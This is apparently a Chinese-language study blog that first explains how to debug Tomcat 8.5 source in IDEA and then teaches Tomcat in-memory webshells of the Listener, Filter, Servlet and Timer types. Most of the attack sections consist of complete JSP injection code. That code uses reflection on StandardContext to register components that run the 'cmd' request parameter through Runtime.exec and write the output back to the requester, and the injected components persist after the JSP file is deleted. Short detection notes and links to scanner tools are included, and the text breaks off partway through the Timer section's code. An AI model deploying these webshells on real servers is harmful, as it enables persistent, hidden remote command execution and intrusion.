5096 字
25 分钟
在IDEA中调试Tomcat_&_Tomcat安全入门

debug Tomcat#

IDEA创建Maven项目,jdk选1.8

准备装的版本Index of /dist/tomcat/tomcat-8/v8.5.21 (apache.org) 下载其中src.zipbin下的zip

[[Media/31ded6d23464115715a41160339cc9d5_MD5.jpeg|Open: Pasted image 20240610002812.png]] a131d49f47157d18a9817314b8696485_MD5 这两个

  1. 将src下的confwebapps放到创建的项目根目录(与src同目录
  2. 把源码javamodules放到所建Maven项目的src/main
  3. 将二进制包(压好的)解压,其中的lib放在项目根目录,并在项目结构/模块中添加lib中的所有jar

在右上角的运行配置中添加启动Tomcat的配置 [[Media/5543f8f97cdf9f8ba755fbaa5244bbcf_MD5.jpeg|Open: Pasted image 20240622115328.png]] org.apache.catalina.startup.Bootstrap5543f8f97cdf9f8ba755fbaa5244bbcf_MD5

最终成功启动 Apache Tomcat/8.5.21 [[Media/93525745f0becbc03ea2cfb05e00e88b_MD5.jpeg|Open: Pasted image 20240622120157.png]] 93525745f0becbc03ea2cfb05e00e88b_MD5

接下来就可以打点调试了

Tomcat安全#

664dbfe4187bab264454acade0506f23_MD5

Tomcat 内存🐎#

众所周知,当你访问一个Tomcat服务时,Tomcat组件内的Listener会先执行:

Listener型#

JavaSec/5.内存马学习/Tomcat/Tomcat-Listener型内存马/Tomcat-Listener型内存马.md at main · Y4tacker/JavaSec (github.com)

构造🐎#

恶意Listener

import javax.servlet.ServletRequestEvent;  
import javax.servlet.ServletRequestListener;  
  
public class TestListener implements ServletRequestListener {  
    @Override  
    public void requestDestroyed(ServletRequestEvent sre) {  
        System.out.println("destroy TestListener");  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent sre) {  
        System.out.println("initial TestListener");  
    }  
}

引用恶意Listener

<listener>  
    <listener-class>TestListener</listener-class>  
</listener>

[[Media/9797f259fc9730fdb2fc8b3418d05aad_MD5.jpeg|Open: QQ_1721466606940.png]] 9797f259fc9730fdb2fc8b3418d05aad_MD5 运行Tomcat得到结果 [[Media/7f08c1a7ca160f7df94a68d6aba6cdcd_MD5.jpeg|Open: QQ_1721230172534.png]] 7f08c1a7ca160f7df94a68d6aba6cdcd_MD5

于是简单的Listener内存马便是注册恶意的java类,当Listener执行时触发,其中Request最方便被触发

Web应用程序启动时,Tomcat会创建一个ServletContext(也称为应用上下文),此时会触发ServletContextListenercontextInitialized方法。这个Listener会在Web应用中的任何Servlet被初始化之前执行。同样地,当Web应用停止时,会触发contextDestroyed方法。

通过继承EvenListener来实现接口,构造恶意类

另一种引入Listener的方式LifecycleListener: 实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马 Tomcat 内存马(一)Listener型 - Atomovo - 博客园 (cnblogs.com)

[[Media/129c88fe1e936d88ca5e1fb9cc4fc16e_MD5.jpeg|Open: QQ_1721232552399.png]] 129c88fe1e936d88ca5e1fb9cc4fc16e_MD5 关于ServletRequestListener:

用于接收有关请求进入和离开网络应用程序作用域的通知事件的接口。 ServletRequest 的定义是:当它即将进入网络应用程序的第一个 servlet 或过滤器时,即进入了网络应用程序的作用域;当它退出链中的最后一个 servlet 或第一个过滤器时,即离开了作用域。 为了接收这些通知事件,必须在网络应用程序的部署描述符中声明实现类,用 javax.servlet.annotation.WebListener 进行注解,或通过 ServletContext 上定义的 addListener 方法之一进行注册。 该接口的实现会按声明的顺序在 requestInitialized 方法中调用,并按相反顺序在 requestDestroyed 方法中调用。

只要请求访问服务(无论什么资源)便会被触发,非常好的入口点

注册🐎#

那么怎么把🐎儿放到靶机上呢? 在输出initial TestListener的地方打断点 [[Media/03510c93c151cbfd52573dae89a1d745_MD5.jpeg|Open: QQ_1721467719277.png]] 03510c93c151cbfd52573dae89a1d745_MD5

发现 QQ_1721467760125 调用Listener的名字被赋给了instances的第一项中 跳转到instances的源代码 [[Media/cb831ca7ac2ddf1da27061a043e7b68e_MD5.jpeg|Open: QQ_1721468170589.png]] cb831ca7ac2ddf1da27061a043e7b68e_MD5 发现是由getApplicationEventListeners()执行这一操作,Ctrl+点击查看方法,发现返回了applicationEventListenersList.toArray() 在下面(1283)的aadApplicationEventListeners中,我们的恶意listener被添加

public void addApplicationEventListener(Object listener) {  
    applicationEventListenersList.add(listener);  
}

所以我们只要执行该方法就可以将任意Listener注册 JSP概述——什么是JSP、JSP运行原理_jsp简介及工作原理-CSDN博客 jsp作为动态网页,可以运行java代码

在jsp中实现🐎#

获得StandardContext对象 i chi

<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>

ni

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

目前可公开的🐎(bushi

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
	//定义新Listener
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    //网页shell实现
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
	//使用了第一个方法获取StandardContext对象
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
    //可以看到调用了addApplicationEventListener
%>

存在内存🐎的jsp就算被删除也依然可用

当Listener被注册到Servlet容器(如Tomcat)时,它会持续运行,直到应用被停止或服务器重启。 Servlet容器(如Tomcat)通常设计为长期运行的服务,不会因为Web应用的某个文件被修改或删除而重启。只有当应用被完全停止或服务器本身重启时,所有相关的Listener和其他Servlet组件才会被销毁。

排除🐎#

  1. 看日志
  2. 存在空网页但返回200
  3. 大量请求不同url但带有相同的参数
  4. 较多的404但是带有参数的请求 …

Filter型#

构造🐎#

package com.orxiain;  
  
import javax.servlet.*;  
import java.io.IOException;  
  
public class MyFilter implements Filter{  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
        System.out.println("Filter 初始构造完成");  
    }  
    //当web程序启动时,该方法调用一次
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        System.out.println("执行了过滤操作");  
        filterChain.doFilter(servletRequest,servletResponse);  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

xml修改

<filter>  
    <filter-name>MyFilter</filter-name>  
	<!--指定filter名字-->
    <filter-class>com.orxiain.MyFilter</filter-class>  
</filter>  
<filter-mapping>  
    <filter-name>MyFilter</filter-name>  
    <!--引用filter名称-->
    <url-pattern>/filter</url-pattern>  
    <!--指定过滤器应该拦截的URL模式。这里设置为`/filter`,意味着所有匹配`/filter`的请求都会被`TestFilter`过滤器拦截处理-->
</filter-mapping>

访问 http://127.0.0.1:8080/filter 后得到 [[Media/0250ab66a07bdcc6cbd728909a528940_MD5.jpeg|Open: QQ_1721563519103.png]] 0250ab66a07bdcc6cbd728909a528940_MD5

调用🐎#

doFilter处打断点,浏览器访问/filter后查看调用链 [[Media/9b83262ef8bffe6453fa0f0e82dbc146_MD5.jpeg|Open: QQ_1721564518206.png]] 9b83262ef8bffe6453fa0f0e82dbc146_MD5 查看ApplicationFilterChain/internalDoFilter方法

当请求进入 Tomcat 并且与某个 URL 模式匹配时,对应的过滤器链会被激活

所有过滤器都被执行完毕后,再调用Servlet的service方法

接下来具体看看这个方法内容

[[Media/c9f803f87ee920bdc71f33e377eb5285_MD5.jpeg|Open: QQ_1721564716763.png]] c9f803f87ee920bdc71f33e377eb5285_MD5 做了个查看安全管理器是否打开的判断

QQ_1721565672434 这里用来判断是否还有过滤器没采用 pos的值指向不同的filter 这里的filterconfig中含有我们新建的Filter类 [[Media/1e2976fd90ce2969c8499a13892fe9bd_MD5.jpeg|Open: QQ_1721566416147.png]] 1e2976fd90ce2969c8499a13892fe9bd_MD5 此时存在两个Filter

当两个filter都执行完毕,便用servlet.service(request, response);来处理请求,调用servlet实例

接下来看filter是如何被创建的 在dofilter()之前,程序进行了一连串的invoke操作 [[Media/289fdb3139055e2dad1ff0b7b6385e1a_MD5.jpeg|Open: QQ_1721571176171.png]] 289fdb3139055e2dad1ff0b7b6385e1a_MD5

  1. StandardEngineValue的invoke方法获取了pipeline,启动了针对特定 Host 的请求处理流程,我们步入跟随发现该invoke事实上又指定运行到了AbstractAccessLogValue中的invoke方法
  2. AbstractAccessLogValue的invoke调用的其实也是接下来ErrorRepotValue中的invoke,之后就是一连串的invoke方法调用

为了看清楚最后dofilter前的invoke做了什么,我们在StandardEngineValue的invoke处打断点(或者更前面的invoke也行

跟进StandardEngineValue发现 [[Media/c033945c8b417ba9724eefe6c47236f6_MD5.jpeg|Open: QQ_1721573606937.png]] c033945c8b417ba9724eefe6c47236f6_MD5 步入跟入到ApplicationFilterFactorycreateFilterChain方法,主要作用是创建一个新的ApplicationFilterFactory实例 将与URL匹配的filter添加进去,之后用来调用 这里URL匹配是通过matchFiltersURL实现 [[Media/dd2823e8f7b8f493e1587135595300ec_MD5.jpeg|Open: QQ_1721574493412.png]] dd2823e8f7b8f493e1587135595300ec_MD5 同时查看了Filtermaps是否匹配

FilterMap 的主要目的是在 Web 应用程序的 web.xml 文件中定义过滤器与特定请求之间的关联 就是我们定义在web.xml中的内容

最后判断了filterconfig是否为空,若为空则执行addFilter方法,将filter添加进去 [[Media/ffd09e6fb0c1aa3eeb1b398f7c2068b1_MD5.jpeg|Open: QQ_1721575450411.png]] ffd09e6fb0c1aa3eeb1b398f7c2068b1_MD5

可以看到运行后filterchainfilters的值0便是我们自己创建的MyFilter [[Media/4bc954eb3dfbd1a5dbc2253eb2a4f51c_MD5.jpeg|Open: QQ_1721574435529.png]] 4bc954eb3dfbd1a5dbc2253eb2a4f51c_MD5

至此,我们摸清了filter是如何被添加并执行的

利用链上🐎#

来自Tomcat Filter 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户这里用来解释和复现

StandardContext这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

filterConfigfilterMaps都是通过StandardContext得到的

根据上面流程我们只需要设置filterMaps、filterConfigs、filterDefs就可以注入恶意的filter

  • filterMaps:一个HashMap对象,包含过滤器名字和URL映射
  • filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
  • filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs

Maps :Java 中的一个接口,它代表了一个键值对的集合,通过反射获取到Map后便可进行添加、修改和删除Filter的操作 Java反射—Field类使用 - 简书 (jianshu.com)

首先我们需要通过反射获取到StandardContext

ServletContext servletContext = request.getSession().getServletContext();
//通过当前会话获得到ServletContext对象
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); 
//获取ServletContent的字段,并设置其为可访问的
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 
//获取applicationContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
// 同上,获取applicationContext的字段,并设置访问权限
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 
//得到standardContext的对象
String FilterName = "cmd_Filter"; 
Configs = standardContext.getClass().getDeclaredField("filterConfigs"); 
//通过反射获取filterConfigs字段
Configs.setAccessible(true); 
filterConfigs = (Map) Configs.get(standardContext);
//通过反射获取standardContext中的filterConfigs的Map

setAccessible方法。是Field继承自AccessibleObject类,AccessibleObject是Field、Method、Constuctor类的父类。简单理解意思就是 如果类型是private修饰的,你不可以直接访问,就需要设置访问权限为true.如果是public则不需要设置。

接下来定义一个filter,用以执行命令并回显

Filter filter = new Filter()
    {@
        Override public void init(FilterConfig filterConfig) throws ServletException
        {}@
        Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException
            {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if(req.getParameter("cmd") != null)
                {
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); // Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };

设置filterdef与fitermap

//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加  
Class <? > FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
//<? >表示FilterDef将持有任何类型的变量
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
//Constructor类表示类的构造函数,通过getDeclaredConstructor()方法获取FilterDef的构造函数并传递给declaredConstructors
FilterDef o = (FilterDef) declaredConstructors.newInstance();
//创建了一个新的FilterDef实例o
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去  
Class <? > FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor <? > declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap) declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

创建FilterConfig

Class <? > ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
//反射获取FilterConfig类
Constructor <? > declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
//获得filterconfig的构造函数,传入了两个Context和FilterDef的class对象
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
filterConfigs.put(FilterName, filterConfig);
response.getWriter().write("Success");

结合以上并写成jsp文件

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    final String name = "orxiain";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
    Hello Filter
</body>
</html>

这里将jsp文件放在webapps/ROOT下,开启服务器访问 [[Media/91aabc43d9f9c22b3a600dc9291d674e_MD5.jpeg|Open: QQ_1721736509718.png]] 91aabc43d9f9c22b3a600dc9291d674e_MD5

排除🐎#

Java安全的一些工具 https://github.com/alibaba/arthas https://github.com/LandGrey/copagent https://github.com/c0ny1/java-memshell-scanner

Servlet型#

构造🐎#

顾名思义,Servlet型内存马是构造恶意Servlet服务进行攻击的方式 [[Media/ea1641dec71c56321daf149fa2d859a9_MD5.jpeg|Open: Pasted image 20240724080753.png]] ea1641dec71c56321daf149fa2d859a9_MD5

Servlet接口类型

  1. init(ServletConfig config):Servlet 初始化函数。初始化时 ServletConfig 会被传入
  2. ServletConfig getServletConfig():获取 ServletConfig 对象
  3. service(ServletRequest req, ServletResponse res):收到请求后的执行方法
  4. String getServletInfo():返回此 Servlet 的描述信息
  5. void destroy():Servlet 的销毁方法

继承Servlet接口并在service函数处写上rce

package com.orxiain;  
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import java.io.IOException;  
  
// 基础恶意类  
public class ServletTest implements Servlet {  
    @Override  
    public void init(ServletConfig config) throws ServletException {  
  
    }  
  
    @Override  
    public ServletConfig getServletConfig() {  
        return null;  
    }  
  
    @Override  
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {  
        String cmd = req.getParameter("cmd");  
        if (cmd !=null){  
            try{  
                Runtime.getRuntime().exec(cmd);  
            }catch (IOException e){  
                e.printStackTrace();  
            }catch (NullPointerException n){  
                n.printStackTrace();  
            }  
        }  
    }  
  
    @Override  
    public String getServletInfo() {  
        return null;  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

web.xml配置

<!-- Servlet定义 -->  
<servlet>  
    <servlet-name>MyServlet</servlet-name>  
    <servlet-class>com.orxiain.ServletTest</servlet-class>  
</servlet>  
  
<!-- Servlet映射 -->  
<servlet-mapping>  
    <servlet-name>MyServlet</servlet-name>  
    <url-pattern>/MyServlet</url-pattern>  
</servlet-mapping>

访问Servlet得到 [[Media/293a82dd65667975403b689bfa0b3d33_MD5.jpeg|Open: QQ_1721780132857.png]] 293a82dd65667975403b689bfa0b3d33_MD5

调用🐎#

断点下到新建的Servlet的init方法 [[Media/6b3aebdba693348ce84bb7409024193c_MD5.jpeg|Open: QQ_1721781179161.png]] 6b3aebdba693348ce84bb7409024193c_MD5 (会发现Filter和Listener跑完才到Servlet)

HTTP请求预处理#

直接看Http11ProcessorHTTP11Processor是Tomcat中负责解析来自客户的http请求

断点给到799行的getAdapter().service(request, response); request的值是客户机访问的网页路径 继续步入CoyoteAdapter [[Media/84870e345a5de93ba2d6b6cac83ba9e7_MD5.jpeg|Open: QQ_1721782288716.png]] 84870e345a5de93ba2d6b6cac83ba9e7_MD5 Note是一个轻量级的数据存储机制,可以在请求处理的不同阶段存储和检索数据 getNoteQQ_1721782443564 判断request是否为空,之后进行一系列赋值操作 [[Media/eeab421a8818ddcabeb55a850c117d5e_MD5.jpeg|Open: QQ_1721782598212.png]] eeab421a8818ddcabeb55a850c117d5e_MD5 这里的两个布尔值:

  • async:用于检查请求是否为异步,若为异步则为true,在异步的处理模式下CoyoteAdapter将采用其它处理路径以不阻塞主线程
  • postParseSuccess:用于检查请求是否处理完成,当解析完成后标为True [[Media/07e91c1e1977310095c9d40289c97482_MD5.jpeg|Open: QQ_1721782938796.png]] 07e91c1e1977310095c9d40289c97482_MD5

postParseSuccess = postParseRequest(req, request, res, response);将postParseSuccess设为true,运行启动container 看向342行的

connector.getService().getContainer().getPipeline().getFirst().invoke(  
        request, response);

之后对Host进行了判断,运行一系列invoke调用,与Filter加载一样

web.xml处理#

ContextConfigwebConfig打断点

[[Media/92305ea02a50e60617766719ff0d3f50_MD5.jpeg|Open: QQ_1721788997163.png]] 92305ea02a50e60617766719ff0d3f50_MD5 调用webXML对象

到1325行,进行Servlet的读取 [[Media/d36a3b4a810de5c907c54132a8b64e9e_MD5.jpeg|Open: QQ_1721789911931.png]] d36a3b4a810de5c907c54132a8b64e9e_MD5 循环遍历web.xml中的servlet 每次遍历为servlet创建wrapper对象(即servlet运行实例

所有的servlet都储存在了wrapper中

最后在1372行context.addChild(wrapper);将wrapper添加到StandardContext [[Media/303b1c2a521efe6c03f69696116d42aa_MD5.jpeg|Open: QQ_1721791738561.png]] 303b1c2a521efe6c03f69696116d42aa_MD5 对其是否为jspservlet进行了判断 之后调用父类ContainerBase [[Media/91d7152f99e71edb15924f6a74b58d60_MD5.jpeg|Open: QQ_1721791911021.png]] 91d7152f99e71edb15924f6a74b58d60_MD5 对全局安全设置进行了判断 之后执行了下面的方法 其中的child.start();启动了该servlet的进程

总结

  • 通过context.createWapper()创建 Wapper 对象;
  • 设置 Servlet 的LoadOnStartUp的值;
  • 设置 Servlet 的 Name ;
  • 设置 Servlet 对应的 Class ;
  • 将 Servlet 添加到 context 的 children 中;
  • 将 url 路径和 servlet 类做映射。

在 servlet 的配置当中,<load-on-startup>1</load-on-startup>的含义是: 标记容器是否在启动的时候就加载这个 servlet。 当值为 0 或者大于 0 时,表示容器在应用启动时就加载这个 servlet; 当是一个负数时或者没有指定时,则指示容器在该 servlet 被选择时才加载。 正数的值越小,启动该 servlet 的优先级越高。 在Tomcat中,Servlet的懒加载(lazy loading)机制是指Servlet在第一次被请求时才会被加载和初始化,而不是在Tomcat启动时就全部加载。

大致流程就是这样了,接下来考虑如何将恶意servlet添加

上🐎#

获取StandardContext类 用Context.creatWapper()创建StandardWrapper对象 有了StandardWrapper对象后,我们可以对其Servlet属性进行修改 主要修改:loadOnStartup,ServletName,ServletClass 修改后添加到StandardContext的children中,之后启动进程 最后通过StandardContext.addServletMappingDecoded()添加对应的路径映射

来自Tomcat Servlet 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户

获取StandardContext对象

<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>

通过req.getContext()方法获取了当前请求所属的StandardContext对象 or

<% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>

编写恶意Servlet

<%!
public class Shell_Servlet implements Servlet {
  @Override
  public void init(ServletConfig config) throws ServletException {
  }
  @Override
  public ServletConfig getServletConfig() {
    return null;
  }
  @Override
  public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    String cmd = req.getParameter("cmd");
    if (cmd !=null){
      try{
        Runtime.getRuntime().exec(cmd);
      }catch (IOException e){
        e.printStackTrace();
      }catch (NullPointerException n){
        n.printStackTrace();
      }
    }
  }
  @Override
  public String getServletInfo() {
    return null;
  }
  @Override
  public void destroy() {
  }
}
%>
}</SCRIPT></HEAD>
<BODY></BODY>
</HTML>

获取恶意Servlet的对象并通过反射得到name,通过standardContext.createWrapper()创建wrapper对象并对其Servlet属性进行修改

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

通过standardContext.addChild方法将wrapper添加到children中,并添加url与Servlet的映射

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

完整poc

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!
public class Shell_Servlet implements Servlet {
  @Override
  public void init(ServletConfig config) throws ServletException {
  }
  @Override
  public ServletConfig getServletConfig() {
    return null;
  }
  @Override
  public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    String cmd = req.getParameter("cmd");
    if (cmd !=null){
      try{
        Runtime.getRuntime().exec(cmd);
      }catch (IOException e){
        e.printStackTrace();
      }catch (NullPointerException n){
        n.printStackTrace();
      }
    }
  }
  @Override
  public String getServletInfo() {
    return null;
  }
  @Override
  public void destroy() {
  }
}
%>

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletshell",name);
%>

首先访问Servlet.jsp,对恶意Servlet进行注册 [[Media/f355ffc637f7ad475e6620c5cb284018_MD5.jpeg|Open: QQ_1721795231232.png]] f355ffc637f7ad475e6620c5cb284018_MD5 之后 http://127.0.0.1:8080/servletshell?cmd=calc [[Media/c36787c7c6b18466cc55ea94d22c2477_MD5.jpeg|Open: QQ_1721795320591.png]] c36787c7c6b18466cc55ea94d22c2477_MD5

排除🐎#

Servlet类型内存马通过url进行触发,是在客户机请求的情况下,请求与响应内容更容易暴露,一般看日志就能发现

Timer型#

构造🐎#

来自JavaWeb 内存马二周目通关攻略 | 素十八 (su18.org)的代码

<%@ page import="java.io.IOException" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%  
    out.println("timer jsp shell");  
    java.util.Timer executeSchedule = new java.util.Timer();  
    executeSchedule.schedule(new java.util.TimerTask() {  
        public void run() {  
            try {  
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {  
                e.printStackTrace();  
            }  
        }  
    }, 0, 10000);  
%>

访问一遍jsp来注入马儿 [[Media/4090d6f5716bb061a5642c20ab881d04_MD5.jpeg|Open: QQ_1722022961946.png]] ![[Media/4090d6f5716bb061a5642c20ab881d04_MD5.jpeg]] 运行后每十秒弹一个计算器,就算把Timer.jsp删除后依然在弹

🐎の原理#

ava.util.Timer executeSchedule = new java.util.Timer();新建了一个Timer对象 之后每10s运行一次规定任务

我们知道,JSP本质上在运行时作为Servlet扩展被Tomcat解析为Java源文件,之后进行编译,被JspServletWrapper封装后映射将路径在JspRuntimeContext,生成可执行的Servlet类,Timer定时任务会创建一个Timer的线程

判断文件是否删除、是否更改、是否需要重新编译等等判断信息进行相关的处理是在访问这个jsp地址时被处理的 若发现jsp发生更改 ,JspServletWrapper会重新封装

[[Media/978f33a6d10ebabc91d433ff02181398_MD5.jpeg|Open: QQ_1722257572511.png]] ![[Media/978f33a6d10ebabc91d433ff02181398_MD5.jpeg]] 被删除jsp文件后,Timer线程依然一直运行,所以不会触发jvm的GC机制

Timer🐎得益于使用了原生Timer类,具有很好的隐蔽性 那么那么如何使用这个方法来制造可RCE并回显的jsp文件呢? 我们知道Timer可以做到重复运行代码,那么可以让这段代码读取请求头中特定键值对中的命令并回显在网页

上🐎#

<%@ page import="java.util.List" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="java.util.ArrayList" %>  
<%@ page import="java.util.HashSet" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%!  
    public static List<Object> getRequest() {  
        try {  
            Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));  
  
            for (Thread thread : threads) {  
                if (thread != null) {  
                    String threadName = thread.getName();  
                    if (!threadName.contains("exec") && threadName.contains("http")) {  
                        Object target = getField(thread, "target");  
                        if (target instanceof Runnable) {  
                            try {  
                                target = getField(getField(getField(target, "this$0"), "handler"), "global");  
                            } catch (Exception var11) {  
                                continue;  
                            }  
  
                            List processors = (List) getField(target, "processors");  
  
                            for (Object processor : processors) {  
